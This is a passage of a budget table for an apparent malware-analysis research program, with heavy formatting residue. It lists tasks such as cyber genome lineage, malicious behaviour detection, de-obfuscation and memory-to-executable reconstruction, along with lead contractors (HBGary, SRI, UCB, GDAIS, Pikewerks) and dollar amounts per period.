&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $252,559\r\n  \r\n  \r\n  Prototype\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $362,597\r\n  \r\n  \r\n  Prototype\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $441,862\r\n  \r\n  \r\n  Prototype\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $465,833\r\n  \r\n \r\n \r\n  \r\n  Cyber Genome Lineage &amp;\r\n  Correlation Algorithms Research\r\n  \r\n  \r\n  GDAIS\r\n  \r\n  \r\n  Paper\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $158,175\r\n  \r\n  \r\n  Concept Prototype\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $312,297\r\n  \r\n  \r\n  Refinement &amp;\r\n  Prototype&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $323,748\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Linear Execution Space\r\n  Correlation\r\n  \r\n  \r\n  HBGary\r\n  \r\n  \r\n  Refined Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $82,330\r\n  \r\n  \r\n  Refined Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $56,808\r\n  \r\n  \r\n  Refined Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $57,635\r\n  \r\n  \r\n  Refined Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $62,942\r\n  \r\n \r\n \r\n  \r\n  Cyber Lineage Unified Correlation\r\n  Techniques\r\n  \r\n  \r\n  GDAIS\r\n  \r\n  \r\n  Joint Paper\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $356,324\r\n  \r\n  \r\n  Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $553,701\r\n  \r\n  \r\n  Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $482,437\r\n  \r\n  \r\n  Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $623,098\r\n  \r\n \r\n \r\n  \r\n  Cyber Genome Mapping\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Data Flow Mapping Research\r\n  \r\n  \r\n  UCB\r\n  \r\n  \r\n  Viability Research Paper\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $110,188\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Dynamic Linear Execution Space\r\n  Sequencing Research\r\n  \r\n  \r\n  HBGary\r\n  \r\n  \r\n  Concept Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $82,330\r\n  \r\n  \r\n  Refined Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $56,808\r\n  \r\n  \r\n  Refined Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $57,635\r\n  \r\n  \r\n  Refined Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $62,942\r\n  \r\n \r\n \r\n  \r\n  Full Execution Space Sequencing\r\n  Research\r\n  \r\n  \r\n  HBGary\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  Research Methods&nbsp; Paper\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $257,181\r\n  \r\n  \r\n  Concept Prototype &amp; Paper\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $218,608\r\n  \r\n \r\n \r\n  \r\n  Full Execution Space Sequencing\r\n  Research\r\n  \r\n  \r\n  Pikewerks\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  Unix IDA or Tool Plug-in\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $101,233\r\n  \r\n  \r\n  Unix Standalone Prototype\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $228,008\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Full Execution Space Sequencing\r\n  Research\r\n  \r\n  \r\n  UCB\r\n  \r\n  \r\n  Extraction Concept\r\n  Prototype&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $256,174\r\n  \r\n  \r\n  Prototype\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $333,531\r\n  \r\n  \r\n  &nbsp;\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $379,843[1]\r\n  \r\n  \r\n  &nbsp;\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $187,768\r\n  \r\n \r\n \r\n  \r\n  Function Abstraction Research\r\n  \r\n  \r\n  SRI\r\n  \r\n  \r\n  Viability Research Paper\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $61,744\r\n  \r\n  \r\n  Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $91,495\r\n  \r\n  \r\n  Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $95,188\r\n  \r\n  \r\n  Refined Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $118,570\r\n  \r\n \r\n \r\n  \r\n  Cyber Genome Sequencing\r\n  Algorithms Research\r\n  \r\n  \r\n  SRI\r\n  \r\n  \r\n  Viability Research Paper\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $92,954\r\n  \r\n  \r\n  &nbsp;\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $154,783\r\n  \r\n  \r\n  Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $160,701\r\n  \r\n  \r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  \r\n  \r\n \r\n \r\n  \r\n  Unknown Malicious Behavior\r\n  Detection\r\n  \r\n  \r\n  UCB\r\n  \r\n  \r\n  Viability Research Paper\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $107,509\r\n  \r\n  \r\n  Concept Prototype\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $166,514\r\n  \r\n  \r\n  Prototype\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $204,074\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Known Malicious Behavior\r\n  Detection\r\n  \r\n  \r\n  HBGary\r\n  \r\n  \r\n  Concept Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $82,330\r\n  \r\n  \r\n  Refined Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $56,808\r\n  \r\n  \r\n  Refined Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $57,635\r\n  \r\n  \r\n  Refined Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $62,942\r\n  \r\n \r\n \r\n  \r\n  Cyber Linnaean Taxonomy\r\n  \r\n  \r\n  SRI\r\n  \r\n  \r\n  Paper\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $81,574\r\n  \r\n  \r\n  Prototype\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $110,703\r\n  \r\n  \r\n  Prototype\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $140,499\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Taint Analysis / Provenance\r\n  \r\n  \r\n  SRI\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  Prototype\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $165,472\r\n  \r\n \r\n \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n \r\n  \r\n   \r\n   TASK\r\n   \r\n   \r\n   LEAD\r\n   \r\n   \r\n   PERIOD 1A\r\n   \r\n   \r\n   PERIOD 1B\r\n   \r\n   \r\n   PERIOD 2A\r\n   \r\n   \r\n   PERIOD 2B\r\n   \r\n  \r\n \r\n \r\n  \r\n  Automation for Normalization\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  De-obfuscation of code \r\n  \r\n  \r\n  SRI\r\n  \r\n  \r\n  Concept Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $149,241\r\n  \r\n  \r\n  Refined Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $123,618\r\n  \r\n  \r\n  Refined Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $181,806\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  MS Memory to Execution\r\n  Reconstruction \r\n  \r\n  \r\n  SRI\r\n  \r\n  \r\n  Concept Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $149,241\r\n  \r\n  \r\n  Refined Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $154,484\r\n  \r\n  \r\n  Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $160,392\r\n  \r\n  \r\n  Refined Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $186,058\r\n  \r\n \r\n \r\n  \r\n  Suicide/Anti-analysis\r\n  Logic Removal\r\n  \r\n  \r\n  SRI\r\n  \r\n  \r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $59,494\r\n  \r\n  \r\n  Concept Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $117,834\r\n  \r\n  \r\n  Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $90,461\r\n  \r\n  \r\n  Refined Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $113,674\r\n  \r\n \r\n \r\n  \r\n  Encapsulation Extraction\r\n  \r\n  \r\n  GDAIS\r\n  \r\n  \r\n  &nbsp;\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $56,339[2]\r\n  \r\n  \r\n  Paper\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $145,245\r\n  \r\n  \r\n  Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $150,655\r\n  \r\n  \r\n  &nbsp;\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $158,074\r\n  \r\n \r\n \r\n  \r\n  Unix Memory to Executable\r\n  Reconstruction\r\n  \r\n  \r\n  Pikewerks\r\n  \r\n  \r\n  Concept Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $160,505\r\n  \r\n  \r\n  Prototype &amp;\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $97,374\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Windows Trigger Analysis\r\n  \r\n  \r\n  UCB\r\n  \r\n  \r\n  Viability Paper\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $148,106\r\n  \r\n  \r\n  Prototype Automation Paper\r\n  